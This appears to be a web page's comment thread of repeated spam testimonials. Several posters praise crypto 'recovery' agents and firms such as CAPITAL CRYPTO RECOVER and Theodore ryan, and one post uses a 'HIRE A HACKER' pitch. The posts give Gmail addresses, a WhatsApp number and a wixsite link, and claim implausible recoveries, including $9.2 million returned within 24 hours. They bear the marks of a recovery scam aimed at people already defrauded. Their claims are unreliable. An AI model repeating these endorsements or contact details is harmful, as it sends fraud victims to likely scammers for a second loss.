    I Invested 45,000  Euro, and later aggreviated to 198,000 Euro.  I requested  to place Withdrawal of my funds to be paid to my Bank account. But nothing happened I was subjected to pay more fee until I can get my funds on my account, i got in touch with Theodore ryan here on this platform who had helped a lot of people, I followed all instructions and he legally got back my withheld funds, I got threatened by the company that if I don’t pay they will get my account frozen, all thanks to Theodore ryan and I highly recommend him to anyone dealing with an unregulated broker company… contact him on his Gmail - theodoreryan318@  gmail .  com

  • 06.10.26 06:13 melissathomason573

    Professional Crypto Recovery Testimonial After losing a significant amount of cryptocurrency through a scam on Twitter, I was unsure whether my Bitcoin funds could ever be recovered. The experience was extremely stressful, particularly because I encountered several individuals and services claiming they could help recover my assets, only to discover that some were fraudulent themselves. A friend eventually referred me to CAPITAL CRYPTO RECOVER. Their team handled my case professionally, discreetly, and efficiently. With their assistance, I successfully recovered approximately $130,000 worth of USDT in just over a week. My experience taught me the importance of being extremely cautious when seeking cryptocurrency recovery services, as scammers often target victims a second time. I am grateful to CAPITAL CRYPTO RECOVER for the assistance I received and wanted to share my experience with others who may be facing a similar situation. If you’ve been compromised, don’t lose hope—and be careful of fraudsters posing as saviors. CAPITAL CRYPTO RECOVER are real professionals in crypto recovery. I am a living proof of their effectiveness, you can reach them through Phone (Call/WhatsApp): +1 (336) 390-6684 Email: [email protected] Alternate Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 06.10.26 06:13 melissathomason573

    Professional Crypto Recovery Testimonial After losing a significant amount of cryptocurrency through a scam on Twitter, I was unsure whether my Bitcoin funds could ever be recovered. The experience was extremely stressful, particularly because I encountered several individuals and services claiming they could help recover my assets, only to discover that some were fraudulent themselves. A friend eventually referred me to CAPITAL CRYPTO RECOVER. Their team handled my case professionally, discreetly, and efficiently. With their assistance, I successfully recovered approximately $130,000 worth of USDT in just over a week. My experience taught me the importance of being extremely cautious when seeking cryptocurrency recovery services, as scammers often target victims a second time. I am grateful to CAPITAL CRYPTO RECOVER for the assistance I received and wanted to share my experience with others who may be facing a similar situation. If you’ve been compromised, don’t lose hope—and be careful of fraudsters posing as saviors. CAPITAL CRYPTO RECOVER are real professionals in crypto recovery. I am a living proof of their effectiveness, you can reach them through Phone (Call/WhatsApp): +1 (336) 390-6684 Email: [email protected] Alternate Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 06.10.26 17:44 Darrell1717

    I fell victim of a scam I invested to total of 5thousand into. I know it could be risky but after I trusted this man I was dating online he lured me into investing with him. I know hard I worked of my money so I wanted every way possible to get it back. I really appreciate Blockrecoveryexpert for successfully recovered my funds form this scammer. This is all I can say. You can reachout if you ever need help contact blockrecoveryexpert (at) gmail (dot)com

  • 11.10.26 03:04 Patricia014

    Most recovery companies will take your money again. I personally think they’re the same set of people running all of them. It’s a sad, unending cycle, and so many people fall for cloned websites. The only recovery agent I know is Agent Rottgen Raphael. I’ve visited their physical company address, and they’ll tell you if they can handle your case instead of taking upfront payment when they know they can’t help. I highly appreciate their support in recovering my money from the scammers’ wallet within 24 hours. RottgenRaphael@Gmail. com

  • 12.10.26 19:34 lydiassmith567

    HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/WhatsApp: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.26 19:34 lydiassmith567

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